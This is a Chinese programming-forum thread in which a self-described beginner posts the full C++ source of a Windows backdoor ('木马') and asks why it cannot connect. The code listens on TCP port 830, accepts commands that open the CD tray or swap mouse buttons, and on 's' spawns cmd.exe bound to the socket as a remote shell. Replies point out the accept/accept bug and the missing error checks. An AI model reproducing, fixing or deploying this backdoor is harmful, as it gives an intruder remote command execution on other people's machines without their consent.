求教:一个后门程序出了问题?

zerone1985 2007-03-06 10:16:27
以下是源代码:
// Back1.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <winsock2.h>
#include <stdio.h>
#include <mmsystem.h>
#pragma comment(lib,"Ws2_32.lib")
#pragma comment(lib,"Winmm.lib")
int main()
{
WSADATA ws;
int ret;
unsigned long IBytesRead;
char Buff[1024];
int cmdshell(SOCKET clientfd);
SOCKET listenfd;
WSAStartup(MAKEWORD(2,2),&ws);
//建立socket
listenfd=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
//监听本机830端口
struct sockaddr_in server;
server.sin_family=AF_INET;
server.sin_port=htons(830);
server.sin_addr.s_addr=INADDR_ANY;
ret=bind(listenfd,(sockaddr *)&server,sizeof(server));
ret=listen(listenfd,2);
//如果客户端请求830端口,接受连接
int iAddrSize=sizeof(server);
ag:
SOCKET clientfd=accept(listenfd,(sockaddr *)&server,&iAddrSize);
IBytesRead=recv(clientfd,Buff,1024,0); //接受命令数据
if(IBytesRead<=0)
return 0;
switch(Buff[0])
{
case 'o': //打开光驱
{
mciSendString("set cdaudio door open",NULL,0,NULL);
break;

}
case 'c': //关闭光驱
{
mciSendString("Set cdaudio door closed wait",NULL,0,NULL);
break;
}
case 'x'://交换按键
{
SwapMouseButton(1);
break;
}
case 'r'://恢复按键
{
SwapMouseButton(0);
break;
}
case '?'://help
{
send(clientfd,"? o c x r",sizeof("? o c x r"),0);
break;
}
case 'q'://退出连接,再次监听
{
closesocket(clientfd);
goto ag;
}
case 'e'://退出木马
{
closesocket(clientfd);
closesocket(listenfd);
return 0;
}
case 's'://获得shell
{
cmdshell(clientfd);
send(clientfd,"Shell OK",sizeof("Shell OK"),0);
break;
}

}
return 0;
}
int cmdshell(SOCKET clientfd)
{
WSADATA ws;
SOCKET listenfd;
int ret;
//初始化
WSAStartup(MAKEWORD(2,2),&ws);
//注意要用WSASocket
listenfd=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
//监听本机830端口
struct sockaddr_in server;
server.sin_family=AF_INET;
server.sin_port=htons(830);
server.sin_addr.s_addr=INADDR_ANY;
ret=bind(listenfd,(sockaddr *)&server,sizeof(server));
ret=listen(listenfd,2);
//如果客户请求830端口,接受连接
int iAddrSize=sizeof(server);
clientfd=accept(listenfd,(sockaddr *)&server,&iAddrSize);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.wShowWindow=SW_SHOWNORMAL;
si.hStdInput=si.hStdOutput=si.hStdError=(void *)clientfd;
char cmdLine[]="cmd.exe";
PROCESS_INFORMATION ProcessInformation;
//建立进程
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
return 0;

}
用vc编译运行后没有异样,可是无论是将本机和虚拟机作为服务端客户端,还是两台机器互联实验都显示
连接不上830端口;想了半天还是无头绪,想各位蝈蝈帮忙解决一下!
谢谢!!!
...全文
152 3 打赏 收藏 转发到动态 举报
写回复
用AI写文章
3 条回复
切换为时间正序
请发表友善的回复…
发表回复
zerone1985 2007-03-07
  • 打赏
  • 举报
回复
我以无分可赠了 只有非常感谢你们了 我只是初学相关内容 目的是想通过此了解通信过程
所以开始略去了出错检查部分 不过大家的建议我会采纳的 谢谢了
tanzhiwei 2007-03-06
  • 打赏
  • 举报
回复
我来帮你顶
csjinjian 2007-03-06
  • 打赏
  • 举报
回复
两个都是accept,都在等待对方连接,连接要用connect方法啊!而且你的出错检查也太少了

18,357

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC 网络编程
c++c语言开发语言 技术论坛(原bbs)
社区管理员
  • 网络编程
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧